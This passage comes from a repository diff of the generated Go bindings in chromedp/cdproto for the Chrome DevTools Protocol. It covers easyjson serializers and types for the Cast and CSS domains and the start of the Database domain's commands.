func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast5(in *jlexer.Lexer, out *EventSinksUpdated) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "sinks":
if in.IsNull() {
in.Skip()
out.Sinks = nil
} else {
in.Delim('[')
if out.Sinks == nil {
if !in.IsDelim(']') {
out.Sinks = make([]*Sink, 0, 8)
} else {
out.Sinks = []*Sink{}
}
} else {
out.Sinks = (out.Sinks)[:0]
}
for !in.IsDelim(']') {
var v1 *Sink
if in.IsNull() {
in.Skip()
v1 = nil
} else {
if v1 == nil {
v1 = new(Sink)
}
(*v1).UnmarshalEasyJSON(in)
}
out.Sinks = append(out.Sinks, v1)
in.WantComma()
}
in.Delim(']')
}
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast5(out *jwriter.Writer, in EventSinksUpdated) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"sinks\":"
out.RawString(prefix[1:])
if in.Sinks == nil && (out.Flags&jwriter.NilSliceAsEmpty) == 0 {
out.RawString("null")
} else {
out.RawByte('[')
for v2, v3 := range in.Sinks {
if v2 > 0 {
out.RawByte(',')
}
if v3 == nil {
out.RawString("null")
} else {
(*v3).MarshalEasyJSON(out)
}
}
out.RawByte(']')
}
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EventSinksUpdated) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast5(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventSinksUpdated) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast5(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventSinksUpdated) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast5(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventSinksUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast5(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast6(in *jlexer.Lexer, out *EventIssueUpdated) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "issueMessage":
out.IssueMessage = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast6(out *jwriter.Writer, in EventIssueUpdated) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"issueMessage\":"
out.RawString(prefix[1:])
out.String(string(in.IssueMessage))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EventIssueUpdated) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast6(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EventIssueUpdated) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast6(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EventIssueUpdated) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast6(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EventIssueUpdated) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast6(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast7(in *jlexer.Lexer, out *EnableParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "presentationUrl":
out.PresentationURL = string(in.String())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast7(out *jwriter.Writer, in EnableParams) {
out.RawByte('{')
first := true
_ = first
if in.PresentationURL != "" {
const prefix string = ",\"presentationUrl\":"
first = false
out.RawString(prefix[1:])
out.String(string(in.PresentationURL))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v EnableParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast7(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v EnableParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast7(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *EnableParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast7(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *EnableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast7(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast8(in *jlexer.Lexer, out *DisableParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast8(out *jwriter.Writer, in DisableParams) {
out.RawByte('{')
first := true
_ = first
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v DisableParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast8(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v DisableParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoCast8(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *DisableParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast8(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *DisableParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoCast8(l, v)
}
+19
View File
@@ -0,0 +1,19 @@
package cast
// Code generated by cdproto-gen. DO NOT EDIT.
// EventSinksUpdated this is fired whenever the list of available sinks
// changes. A sink is a device or a software surface that you can cast to.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#event-sinksUpdated
type EventSinksUpdated struct {
Sinks []*Sink `json:"sinks"`
}
// EventIssueUpdated this is fired whenever the outstanding issue/error
// message changes. |issueMessage| is empty if there is no issue.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#event-issueUpdated
type EventIssueUpdated struct {
IssueMessage string `json:"issueMessage"`
}
+12
View File
@@ -0,0 +1,12 @@
package cast
// Code generated by cdproto-gen. DO NOT EDIT.
// Sink [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Cast#type-Sink
type Sink struct {
Name string `json:"name"`
ID string `json:"id"`
Session string `json:"session,omitempty"` // Text describing the current session. Present only if there is an active session on the sink.
}
File diff suppressed because it is too large. Load diff
+1326
View File
File diff suppressed because it is too large. Load diff
+2785
View File
File diff suppressed because it is too large. Load diff
+1151
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+42
View File
@@ -0,0 +1,42 @@
package css
// Code generated by cdproto-gen. DO NOT EDIT.
// EventFontsUpdated fires whenever a web font is updated. A non-empty font
// parameter indicates a successfully loaded web font.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-fontsUpdated
type EventFontsUpdated struct {
Font *FontFace `json:"font,omitempty"` // The web font that has loaded.
}
// EventMediaQueryResultChanged fires whenever a MediaQuery result changes
// (for example, after a browser window has been resized.) The current
// implementation considers only viewport-dependent media features.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-mediaQueryResultChanged
type EventMediaQueryResultChanged struct{}
// EventStyleSheetAdded fired whenever an active document stylesheet is
// added.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-styleSheetAdded
type EventStyleSheetAdded struct {
Header *StyleSheetHeader `json:"header"` // Added stylesheet metainfo.
}
// EventStyleSheetChanged fired whenever a stylesheet is changed as a result
// of the client operation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-styleSheetChanged
type EventStyleSheetChanged struct {
StyleSheetID StyleSheetID `json:"styleSheetId"`
}
// EventStyleSheetRemoved fired whenever an active document stylesheet is
// removed.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#event-styleSheetRemoved
type EventStyleSheetRemoved struct {
StyleSheetID StyleSheetID `json:"styleSheetId"` // Identifier of the removed stylesheet.
}
+426
View File
@@ -0,0 +1,426 @@
package css
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"errors"
"github.com/chromedp/cdproto/cdp"
"github.com/mailru/easyjson"
"github.com/mailru/easyjson/jlexer"
"github.com/mailru/easyjson/jwriter"
)
// StyleSheetID [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-StyleSheetId
type StyleSheetID string
// String returns the StyleSheetID as string value.
func (t StyleSheetID) String() string {
return string(t)
}
// StyleSheetOrigin stylesheet type: "injected" for stylesheets injected via
// extension, "user-agent" for user-agent stylesheets, "inspector" for
// stylesheets created by the inspector (i.e. those holding the "via inspector"
// rules), "regular" for regular stylesheets.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-StyleSheetOrigin
type StyleSheetOrigin string
// String returns the StyleSheetOrigin as string value.
func (t StyleSheetOrigin) String() string {
return string(t)
}
// StyleSheetOrigin values.
const (
StyleSheetOriginInjected StyleSheetOrigin = "injected"
StyleSheetOriginUserAgent StyleSheetOrigin = "user-agent"
StyleSheetOriginInspector StyleSheetOrigin = "inspector"
StyleSheetOriginRegular StyleSheetOrigin = "regular"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t StyleSheetOrigin) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t StyleSheetOrigin) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *StyleSheetOrigin) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch StyleSheetOrigin(in.String()) {
case StyleSheetOriginInjected:
*t = StyleSheetOriginInjected
case StyleSheetOriginUserAgent:
*t = StyleSheetOriginUserAgent
case StyleSheetOriginInspector:
*t = StyleSheetOriginInspector
case StyleSheetOriginRegular:
*t = StyleSheetOriginRegular
default:
in.AddError(errors.New("unknown StyleSheetOrigin value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *StyleSheetOrigin) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// PseudoElementMatches CSS rule collection for a single pseudo style.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-PseudoElementMatches
type PseudoElementMatches struct {
PseudoType cdp.PseudoType `json:"pseudoType"` // Pseudo element type.
PseudoIdentifier string `json:"pseudoIdentifier,omitempty"` // Pseudo element custom ident.
Matches []*RuleMatch `json:"matches"` // Matches of CSS rules applicable to the pseudo style.
}
// InheritedStyleEntry inherited CSS rule collection from ancestor node.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-InheritedStyleEntry
type InheritedStyleEntry struct {
InlineStyle *Style `json:"inlineStyle,omitempty"` // The ancestor node's inline style, if any, in the style inheritance chain.
MatchedCSSRules []*RuleMatch `json:"matchedCSSRules"` // Matches of CSS rules matching the ancestor node in the style inheritance chain.
}
// InheritedPseudoElementMatches inherited pseudo element matches from
// pseudos of an ancestor node.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-InheritedPseudoElementMatches
type InheritedPseudoElementMatches struct {
PseudoElements []*PseudoElementMatches `json:"pseudoElements"` // Matches of pseudo styles from the pseudos of an ancestor node.
}
// RuleMatch match data for a CSS rule.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-RuleMatch
type RuleMatch struct {
Rule *Rule `json:"rule"` // CSS rule in the match.
MatchingSelectors []int64 `json:"matchingSelectors"` // Matching selector indices in the rule's selectorList selectors (0-based).
}
// Value data for a simple selector (these are delimited by commas in a
// selector list).
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-Value
type Value struct {
Text string `json:"text"` // Value text.
Range *SourceRange `json:"range,omitempty"` // Value range in the underlying resource (if available).
}
// SelectorList selector list data.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-SelectorList
type SelectorList struct {
Selectors []*Value `json:"selectors"` // Selectors in the list.
Text string `json:"text"` // Rule selector text.
}
// StyleSheetHeader CSS stylesheet metainformation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSStyleSheetHeader
type StyleSheetHeader struct {
StyleSheetID StyleSheetID `json:"styleSheetId"` // The stylesheet identifier.
FrameID cdp.FrameID `json:"frameId"` // Owner frame identifier.
SourceURL string `json:"sourceURL"` // Stylesheet resource URL. Empty if this is a constructed stylesheet created using new CSSStyleSheet() (but non-empty if this is a constructed sylesheet imported as a CSS module script).
SourceMapURL string `json:"sourceMapURL,omitempty"` // URL of source map associated with the stylesheet (if any).
Origin StyleSheetOrigin `json:"origin"` // Stylesheet origin.
Title string `json:"title"` // Stylesheet title.
OwnerNode cdp.BackendNodeID `json:"ownerNode,omitempty"` // The backend id for the owner node of the stylesheet.
Disabled bool `json:"disabled"` // Denotes whether the stylesheet is disabled.
HasSourceURL bool `json:"hasSourceURL,omitempty"` // Whether the sourceURL field value comes from the sourceURL comment.
IsInline bool `json:"isInline"` // Whether this stylesheet is created for STYLE tag by parser. This flag is not set for document.written STYLE tags.
IsMutable bool `json:"isMutable"` // Whether this stylesheet is mutable. Inline stylesheets become mutable after they have been modified via CSSOM API. <link> element's stylesheets become mutable only if DevTools modifies them. Constructed stylesheets (new CSSStyleSheet()) are mutable immediately after creation.
IsConstructed bool `json:"isConstructed"` // True if this stylesheet is created through new CSSStyleSheet() or imported as a CSS module script.
StartLine float64 `json:"startLine"` // Line offset of the stylesheet within the resource (zero based).
StartColumn float64 `json:"startColumn"` // Column offset of the stylesheet within the resource (zero based).
Length float64 `json:"length"` // Size of the content (in characters).
EndLine float64 `json:"endLine"` // Line offset of the end of the stylesheet within the resource (zero based).
EndColumn float64 `json:"endColumn"` // Column offset of the end of the stylesheet within the resource (zero based).
}
// Rule CSS rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSRule
type Rule struct {
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
SelectorList *SelectorList `json:"selectorList"` // Rule selector data.
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
Style *Style `json:"style"` // Associated style declaration.
Media []*Media `json:"media,omitempty"` // Media list array (for rules involving media queries). The array enumerates media queries starting with the innermost one, going outwards.
ContainerQueries []*ContainerQuery `json:"containerQueries,omitempty"` // Container query list array (for rules involving container queries). The array enumerates container queries starting with the innermost one, going outwards.
Supports []*Supports `json:"supports,omitempty"` // @supports CSS at-rule array. The array enumerates @supports at-rules starting with the innermost one, going outwards.
Layers []*Layer `json:"layers,omitempty"` // Cascade layer array. Contains the layer hierarchy that this rule belongs to starting with the innermost layer and going outwards.
Scopes []*Scope `json:"scopes,omitempty"` // @scope CSS at-rule array. The array enumerates @scope at-rules starting with the innermost one, going outwards.
}
// RuleUsage CSS coverage information.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-RuleUsage
type RuleUsage struct {
StyleSheetID StyleSheetID `json:"styleSheetId"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
StartOffset float64 `json:"startOffset"` // Offset of the start of the rule (including selector) from the beginning of the stylesheet.
EndOffset float64 `json:"endOffset"` // Offset of the end of the rule body from the beginning of the stylesheet.
Used bool `json:"used"` // Indicates whether the rule was actually used by some element in the page.
}
// SourceRange text range within a resource. All numbers are zero-based.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-SourceRange
type SourceRange struct {
StartLine int64 `json:"startLine"` // Start line of range.
StartColumn int64 `json:"startColumn"` // Start column of range (inclusive).
EndLine int64 `json:"endLine"` // End line of range
EndColumn int64 `json:"endColumn"` // End column of range (exclusive).
}
// ShorthandEntry [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-ShorthandEntry
type ShorthandEntry struct {
Name string `json:"name"` // Shorthand name.
Value string `json:"value"` // Shorthand value.
Important bool `json:"important,omitempty"` // Whether the property has "!important" annotation (implies false if absent).
}
// ComputedStyleProperty [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSComputedStyleProperty
type ComputedStyleProperty struct {
Name string `json:"name"` // Computed style property name.
Value string `json:"value"` // Computed style property value.
}
// Style CSS style representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSStyle
type Style struct {
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
CSSProperties []*Property `json:"cssProperties"` // CSS properties in the style.
ShorthandEntries []*ShorthandEntry `json:"shorthandEntries"` // Computed values for all shorthands found in the style.
CSSText string `json:"cssText,omitempty"` // Style declaration text (if available).
Range *SourceRange `json:"range,omitempty"` // Style declaration range in the enclosing stylesheet (if available).
}
// Property CSS property declaration data.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSProperty
type Property struct {
Name string `json:"name"` // The property name.
Value string `json:"value"` // The property value.
Important bool `json:"important,omitempty"` // Whether the property has "!important" annotation (implies false if absent).
Implicit bool `json:"implicit,omitempty"` // Whether the property is implicit (implies false if absent).
Text string `json:"text,omitempty"` // The full property text as specified in the style.
ParsedOk bool `json:"parsedOk,omitempty"` // Whether the property is understood by the browser (implies true if absent).
Disabled bool `json:"disabled,omitempty"` // Whether the property is disabled by the user (present for source-based properties only).
Range *SourceRange `json:"range,omitempty"` // The entire property range in the enclosing style declaration (if available).
LonghandProperties []*Property `json:"longhandProperties,omitempty"` // Parsed longhand components of this property if it is a shorthand. This field will be empty if the given property is not a shorthand.
}
// Media CSS media rule descriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSMedia
type Media struct {
Text string `json:"text"` // Media query text.
Source MediaSource `json:"source"` // Source of the media query: "mediaRule" if specified by a @media rule, "importRule" if specified by an @import rule, "linkedSheet" if specified by a "media" attribute in a linked stylesheet's LINK tag, "inlineSheet" if specified by a "media" attribute in an inline stylesheet's STYLE tag.
SourceURL string `json:"sourceURL,omitempty"` // URL of the document containing the media query description.
Range *SourceRange `json:"range,omitempty"` // The associated rule (@media or @import) header range in the enclosing stylesheet (if available).
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
MediaList []*MediaQuery `json:"mediaList,omitempty"` // Array of media queries.
}
// MediaQuery media query descriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-MediaQuery
type MediaQuery struct {
Expressions []*MediaQueryExpression `json:"expressions"` // Array of media query expressions.
Active bool `json:"active"` // Whether the media query condition is satisfied.
}
// MediaQueryExpression media query expression descriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-MediaQueryExpression
type MediaQueryExpression struct {
Value float64 `json:"value"` // Media query expression value.
Unit string `json:"unit"` // Media query expression units.
Feature string `json:"feature"` // Media query expression feature.
ValueRange *SourceRange `json:"valueRange,omitempty"` // The associated range of the value text in the enclosing stylesheet (if available).
ComputedLength float64 `json:"computedLength,omitempty"` // Computed length of media query expression (if applicable).
}
// ContainerQuery CSS container query rule descriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSContainerQuery
type ContainerQuery struct {
Text string `json:"text"` // Container query text.
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
Name string `json:"name,omitempty"` // Optional name for the container.
}
// Supports CSS Supports at-rule descriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSSupports
type Supports struct {
Text string `json:"text"` // Supports rule text.
Active bool `json:"active"` // Whether the supports condition is satisfied.
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
}
// Scope CSS Scope at-rule descriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSScope
type Scope struct {
Text string `json:"text"` // Scope rule text.
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
}
// Layer CSS Layer at-rule descriptor.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSLayer
type Layer struct {
Text string `json:"text"` // Layer name.
Range *SourceRange `json:"range,omitempty"` // The associated rule header range in the enclosing stylesheet (if available).
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // Identifier of the stylesheet containing this object (if exists).
}
// LayerData CSS Layer data.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSLayerData
type LayerData struct {
Name string `json:"name"` // Layer name.
SubLayers []*LayerData `json:"subLayers,omitempty"` // Direct sub-layers
Order float64 `json:"order"` // Layer order. The order determines the order of the layer in the cascade order. A higher number has higher priority in the cascade order.
}
// PlatformFontUsage information about amount of glyphs that were rendered
// with given font.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-PlatformFontUsage
type PlatformFontUsage struct {
FamilyName string `json:"familyName"` // Font's family name reported by platform.
IsCustomFont bool `json:"isCustomFont"` // Indicates if the font was downloaded or resolved locally.
GlyphCount float64 `json:"glyphCount"` // Amount of glyphs that were rendered with this font.
}
// FontVariationAxis information about font variation axes for variable
// fonts.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-FontVariationAxis
type FontVariationAxis struct {
Tag string `json:"tag"` // The font-variation-setting tag (a.k.a. "axis tag").
Name string `json:"name"` // Human-readable variation name in the default language (normally, "en").
MinValue float64 `json:"minValue"` // The minimum value (inclusive) the font supports for this tag.
MaxValue float64 `json:"maxValue"` // The maximum value (inclusive) the font supports for this tag.
DefaultValue float64 `json:"defaultValue"` // The default value.
}
// FontFace properties of a web font:
// https://www.w3.org/TR/2008/REC-CSS2-20080411/fonts.html#font-descriptions and
// additional information such as platformFontFamily and fontVariationAxes.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-FontFace
type FontFace struct {
FontFamily string `json:"fontFamily"` // The font-family.
FontStyle string `json:"fontStyle"` // The font-style.
FontVariant string `json:"fontVariant"` // The font-variant.
FontWeight string `json:"fontWeight"` // The font-weight.
FontStretch string `json:"fontStretch"` // The font-stretch.
FontDisplay string `json:"fontDisplay"` // The font-display.
UnicodeRange string `json:"unicodeRange"` // The unicode-range.
Src string `json:"src"` // The src.
PlatformFontFamily string `json:"platformFontFamily"` // The resolved platform font family
FontVariationAxes []*FontVariationAxis `json:"fontVariationAxes,omitempty"` // Available variation settings (a.k.a. "axes").
}
// KeyframesRule CSS keyframes rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframesRule
type KeyframesRule struct {
AnimationName *Value `json:"animationName"` // Animation name.
Keyframes []*KeyframeRule `json:"keyframes"` // List of keyframes.
}
// KeyframeRule CSS keyframe rule representation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSKeyframeRule
type KeyframeRule struct {
StyleSheetID StyleSheetID `json:"styleSheetId,omitempty"` // The css style sheet identifier (absent for user agent stylesheet and user-specified stylesheet rules) this rule came from.
Origin StyleSheetOrigin `json:"origin"` // Parent stylesheet's origin.
KeyText *Value `json:"keyText"` // Associated key text.
Style *Style `json:"style"` // Associated style declaration.
}
// StyleDeclarationEdit a descriptor of operation to mutate style declaration
// text.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-StyleDeclarationEdit
type StyleDeclarationEdit struct {
StyleSheetID StyleSheetID `json:"styleSheetId"` // The css style sheet identifier.
Range *SourceRange `json:"range"` // The range of the style text in the enclosing stylesheet.
Text string `json:"text"` // New style text.
}
// MediaSource source of the media query: "mediaRule" if specified by a
// @media rule, "importRule" if specified by an @import rule, "linkedSheet" if
// specified by a "media" attribute in a linked stylesheet's LINK tag,
// "inlineSheet" if specified by a "media" attribute in an inline stylesheet's
// STYLE tag.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/CSS#type-CSSMedia
type MediaSource string
// String returns the MediaSource as string value.
func (t MediaSource) String() string {
return string(t)
}
// MediaSource values.
const (
MediaSourceMediaRule MediaSource = "mediaRule"
MediaSourceImportRule MediaSource = "importRule"
MediaSourceLinkedSheet MediaSource = "linkedSheet"
MediaSourceInlineSheet MediaSource = "inlineSheet"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t MediaSource) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t MediaSource) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *MediaSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch MediaSource(in.String()) {
case MediaSourceMediaRule:
*t = MediaSourceMediaRule
case MediaSourceImportRule:
*t = MediaSourceImportRule
case MediaSourceLinkedSheet:
*t = MediaSourceLinkedSheet
case MediaSourceInlineSheet:
*t = MediaSourceInlineSheet
default:
in.AddError(errors.New("unknown MediaSource value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *MediaSource) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
+141
View File
@@ -0,0 +1,141 @@
// Package database provides the Chrome DevTools Protocol
// commands, types, and events for the Database domain.
//
// Generated by the cdproto-gen command.
package database
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
"github.com/mailru/easyjson"
)
// DisableParams disables database tracking, prevents database events from
// being sent to the client.
type DisableParams struct{}
// Disable disables database tracking, prevents database events from being
// sent to the client.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-disable
func Disable() *DisableParams {
return &DisableParams{}
}
// Do executes Database.disable against the provided context.
func (p *DisableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandDisable, nil, nil)
}
// EnableParams enables database tracking, database events will now be
// delivered to the client.
type EnableParams struct{}
// Enable enables database tracking, database events will now be delivered to
// the client.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-enable
func Enable() *EnableParams {
return &EnableParams{}
}
// Do executes Database.enable against the provided context.
func (p *EnableParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandEnable, nil, nil)
}
// ExecuteSQLParams [no description].
type ExecuteSQLParams struct {
DatabaseID ID `json:"databaseId"`
Query string `json:"query"`
}
// ExecuteSQL [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Database#method-executeSQL
//
// parameters:
//
// databaseID
// query
func ExecuteSQL(databaseID ID, query string) *ExecuteSQLParams {
return &ExecuteSQLParams{
DatabaseID: databaseID,
Query: query,
}
}
// ExecuteSQLReturns return values.
type ExecuteSQLReturns struct {
ColumnNames []string `json:"columnNames,omitempty"`
Values []easyjson.RawMessage `json:"values,omitempty"`
SQLError *Error `json:"sqlError,omitempty"`
}
// Do executes Database.executeSQL against the provided context.
//
// returns:
//
// columnNames
// values
// sqlError
func (p *ExecuteSQLParams) Do(ctx context.Context) (columnNames []string, values []easyjson.RawMessage, sqlError *Error, err error) {
// execute
var res ExecuteSQLReturns
err = cdp.Execute(ctx, CommandExecuteSQL, p, &res)
if err != nil {
return nil, nil, nil, err
}
return res.ColumnNames, res.Values, res.SQLError, nil
}
// GetDatabaseTableNamesParams [no description].
